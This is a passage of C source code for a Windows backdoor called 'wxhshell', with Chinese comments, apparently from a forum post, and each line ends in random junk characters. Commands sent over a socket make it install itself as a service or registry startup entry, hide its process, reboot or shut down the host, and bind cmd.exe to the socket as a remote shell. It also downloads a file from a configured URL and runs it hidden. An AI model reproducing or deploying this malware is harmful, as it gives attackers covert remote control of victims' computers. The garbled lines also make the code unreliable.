    break; `t&{^ a&Y"  
  } |)29"_Kk5  
  // 安装 jC9us>b  
  case 'i': { yZ|"qP1  
    if(Install()) .h7s.p?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g[3LPKQ  
    else $'4 98%K2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t'v t'[~,U  
    break; 0jf6 z-4  
    } \ ;npdFy  
  // 卸载 fkBL`[v)4  
  case 'r': { hM Dd*<%l  
    if(Uninstall()) ?Gki0^~J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?;XEb\Kf  
    else t'rN7.d  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kI^* '=:  
    break; a/sjW  
    }  ?pTX4a&>  
  // 显示 wxhshell 所在路径 D(#f`Fj;  
  case 'p': { G@[8P?M=Z  
    char svExeFile[MAX_PATH];  5&&4-  
    strcpy(svExeFile,"\n\r"); 2J ZR"P  
      strcat(svExeFile,ExeFile); &X$T "Dp  
        send(wsh,svExeFile,strlen(svExeFile),0); =_7wd*,  
    break; $*fJKR_N  
    } xH-d<Ht,7  
  // 重启 *1b|j|5v  
  case 'b': { 9=%zdz2_S  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); BBB@M  
    if(Boot(REBOOT)) vk& gR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {LO Pm1K8Y  
    else { \k.`xG?  
    closesocket(wsh); (^d7K:-'  
    ExitThread(0); Tlsh[@Q  
    } 3 !"N;Q"  
    break; 7A)\:k  
    } $YL9 vJV  
  // 关机 Gk,Bx1y  
  case 'd': { E.oJ[;  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); GXtMX ha,  
    if(Boot(SHUTDOWN)) jFj11w1FrA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OSgJj MQ  
    else { Jz}nV1G(jz  
    closesocket(wsh); #DTKz]i?  
    ExitThread(0); rs&]46i/p  
    } q$Gs;gz^(  
    break; VY0.]t  
    } n~N>;m P  
  // 获取shell ]gk1q{Ql<  
  case 's': { ze+YQ F  
    CmdShell(wsh); };/QK*  
    closesocket(wsh);  zUfq.   
    ExitThread(0); /`*{57/3  
    break; =}^NyLE?  
  } ,XD" p1(|G  
  // 退出 Jl Do_}  
  case 'x': { > ;,S||  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9u B?-.  
    CloseIt(wsh); :!`"GaTy  
    break; e w^(3&  
    }  [XfR`@  
  // 离开 QU"WpkO  
  case 'q': { -+#%]P8l  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); f%Q{}fC{*  
    closesocket(wsh); Gm=qn]c  
    WSACleanup(); 9wgB J Jl7  
    exit(1); <n2@;` D  
    break; 8+zW:0"[  
        } 3db{Tcn\@]  
  } Jh26!%<Bl  
  } Q]:O#;"<  
g{8RPw]  
  // 提示信息 #2{-6ey  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;O"?6d0  
} z;c>Q\Q  
  } 9 BCW2@Kp  
FaL\6w  
  return; 1 ^~&"s U  
} (o^tmH*  
"HMEoZ  
// shell模块句柄 "s2_X+4oY  
int CmdShell(SOCKET sock) OxlA)$.hpu  
{ '%N?r,x C  
STARTUPINFO si; b+rxin".  
ZeroMemory(&si,sizeof(si)); ,T/Gv;wa2  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; N'Gq9A  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; XHr*Rs.[=  
PROCESS_INFORMATION ProcessInfo; w+M/VsL  
char cmdline[]="cmd"; {!"UBALxc  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *$tXm4 O[  
  return 0; |.<_$[v[x  
} p~pD`'%  
]g_VPx"  
// 自身启动模式 mzgt>Qtkz=  
int StartFromService(void) *Rgr4-eS  
{ H|9t5   
typedef struct A~zn;  
{ cG|fau<G  
  DWORD ExitStatus; U( YAI%O  
  DWORD PebBaseAddress; +&GV-z~o  
  DWORD AffinityMask; #NS|9jW  
  DWORD BasePriority; 6x+ujUBkK  
  ULONG UniqueProcessId; i_Kwxn$  
  ULONG InheritedFromUniqueProcessId; 7- B.<$uC  
}   PROCESS_BASIC_INFORMATION; '\:4Ijp<"  
-t`kb*O3`  
PROCNTQSIP NtQueryInformationProcess; ?w3RqF@}  
=%Y1] F  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; YagfCi ?  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; g}an 5a  
/<LZt<K  
  HANDLE             hProcess; nL@'??I1  
  PROCESS_BASIC_INFORMATION pbi; mypV[  
BI'>\hX/V  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); cc@W 6W  
  if(NULL == hInst ) return 0; LC%o coc  
-IPo/?}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <r%K i`u(p  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); lZFu|(  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); '-iEbE  
L^J4wYFTO  
  if (!NtQueryInformationProcess) return 0; AIF ?>wgq  
{ 3G  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); v 6~9)\!j  
  if(!hProcess) return 0; q+g,?;Yx  
Y },E3<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /K=OsMl2b8  
u4x-GObJM  
  CloseHandle(hProcess); 18&"j 8'm  
7]=&Q4e4  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #'L<7t K  
if(hProcess==NULL) return 0; i8iT}^  
x|H`%Z  
HMODULE hMod; v"*r %nCi  
char procName[255]; J_Lmy7~xbD  
unsigned long cbNeeded; 7! O"k#  
Z,&O8Jelf  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |OeyPD#  
_v!7 |&\  
  CloseHandle(hProcess); $)lkiA&;  
KVi6vdgD  
if(strstr(procName,"services")) return 1; // 以服务启动 ?N#I2jxaD  
!xs}CxEyA  
  return 0; // 注册表启动 /MZ<vnN7f  
} f:o.[4p2  
~_THvx1  
// 主模块 M2$/x`\-~  
int StartWxhshell(LPSTR lpCmdLine) u$ts>Q;5  
{ )aS:h}zn  
  SOCKET wsl; Q*DT" W/0  
BOOL val=TRUE; m\:^9A4HCg  
  int port=0; MZgaQUg  
  struct sockaddr_in door; Y teIp'T  
bnxp[Qk|5  
  if(wscfg.ws_autoins) Install(); 1p&.\ ^  
5100fX}  
port=atoi(lpCmdLine); {K^5q{u  
bz*@[NQ  
if(port<=0) port=wscfg.ws_port; 'L/)9.29  
tUu ' gs|  
  WSADATA data; 5 jrR]X  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; HqGI.  
ysaRH3M  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   r~b.tpH  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); a>4/2#J  
  door.sin_family = AF_INET; Dri6\/0  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); u[a-9^&g  
  door.sin_port = htons(port); Nr|Gw @+  
eI8o#4nT  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { * #yF`_p  
closesocket(wsl); K\xz|Gq  
return 1; :~-:  
} >a;a8EA<O  
^ u$gO3D  
  if(listen(wsl,2) == INVALID_SOCKET) { Bm~^d7;Cw  
closesocket(wsl); mnt&!X4<  
return 1; b(Y   
} GM|& ,}  
  Wxhshell(wsl); ?QP>rm  
  WSACleanup(); YwVA].p@TI  
Xo PJ?6 3  
return 0; vo/x`F'ib  
pY&6p~\p  
} 3u@,OE  
#}A"yo  
// 以NT服务方式启动 ={g"cx  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Et6j6gmif  
{ Ey@^gHku\  
DWORD   status = 0; yg\QtWW M  
  DWORD   specificError = 0xfffffff; D+T/ Z)  
[* xdILj  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 7F`\Gz_2  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; qlhc"}5x }  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; fTxd8an{  
  serviceStatus.dwWin32ExitCode     = 0; FB k7Cn!  
  serviceStatus.dwServiceSpecificExitCode = 0; Q Xd`P4a  
  serviceStatus.dwCheckPoint       = 0; N"9^A^w8k  
  serviceStatus.dwWaitHint       = 0; &A:&2sP8  
Dj/Hz\  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Df"PNUwA"  
  if (hServiceStatusHandle==0) return; w1Bkz\95  
r CJ$Pl9R  
status = GetLastError(); *`a$6F7m4  
  if (status!=NO_ERROR) tP_.-//  
{ r] /Ej!|  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; f2.=1)u.  
    serviceStatus.dwCheckPoint       = 0; B:>:$LIL  
    serviceStatus.dwWaitHint       = 0; O>E}Lu;|  
    serviceStatus.dwWin32ExitCode     = status; {-)^?Zb @  
    serviceStatus.dwServiceSpecificExitCode = specificError; /&6{}n  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); /#9P0@Y  
    return; |=5zI6pT  
  } "8Dm7)nB  
lz^Vi!|p  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; m%9Yo%l~  
  serviceStatus.dwCheckPoint       = 0; `8ob Xb  
  serviceStatus.dwWaitHint       = 0; EH".ki=e  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); r'noB<| e  
} % J\G[dl  
W@!qp  
// 处理NT服务事件,比如:启动、停止 UVDMYA0  
VOID WINAPI NTServiceHandler(DWORD fdwControl) +149 o2  
{ 8Hq4ppC  
switch(fdwControl) p3_ Qx  
{ :1d;jx>  
case SERVICE_CONTROL_STOP: <gPM/ 4$G  
  serviceStatus.dwWin32ExitCode = 0; 1_7p`Gxt[/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; =2q#- ,t  
  serviceStatus.dwCheckPoint   = 0; B9l~Y/3|  
  serviceStatus.dwWaitHint     = 0; m{oe|UVcmr  
  { \: ZDY(>1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); a3n Wt  
  } E"}%$=yK  
  return; nLL2/!'n  
case SERVICE_CONTROL_PAUSE: .QY>@b\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; TY/'E#.  
  break; Pk&=\i<  
case SERVICE_CONTROL_CONTINUE: K0>;4E>B  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; rzdQLan  
  break; qFVZhBC  
case SERVICE_CONTROL_INTERROGATE: j6s j2D  
  break; Z71_D  
}; {~&]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); IlF_g`  
} X$<pt,}%  
&q&z$Gc;m  
// 标准应用程序主函数 f (C:J[;Z  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @l3&vt2=J  
{ :TVo2Zm[@  
FOD'&Yb&  
// 获取操作系统版本 e"1mdw"  
OsIsNt=GetOsVer(); ^/%o I;O{  
GetModuleFileName(NULL,ExeFile,MAX_PATH); wsdZwik  
sudh=_+>  
  // 从命令行安装 &$ }6:  
  if(strpbrk(lpCmdLine,"iI")) Install(); MoxWnJy}  
dkC_Sh{  
  // 下载执行文件 \[!{tbK`2  
if(wscfg.ws_downexe) { >07i"a  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !UT!PX)  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2V 8 "jc  
} em7L `,  
{^ BZ#)m|  
if(!OsIsNt) { zEjl@Kf  
// 如果时win9x,隐藏进程并且设置为注册表启动 */~|IbZ`o  
HideProc(); [#wt3<d`)  
StartWxhshell(lpCmdLine); 'h ?  
} /@Jg [na  
else ^G qO>1U  
  if(StartFromService()) xqdkc^b  
  // 以服务方式启动 ?Kmz urG  
  StartServiceCtrlDispatcher(DispatchTable); NI/'SMj%  
else @Y,t]  
  // 普通方式启动 wg_Z@iX  
  StartWxhshell(lpCmdLine); #++:`Z  
;+DMv5A "  
return 0; u;%~P 9O  
}
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只看该作者 1 发表于: 2006-10-10
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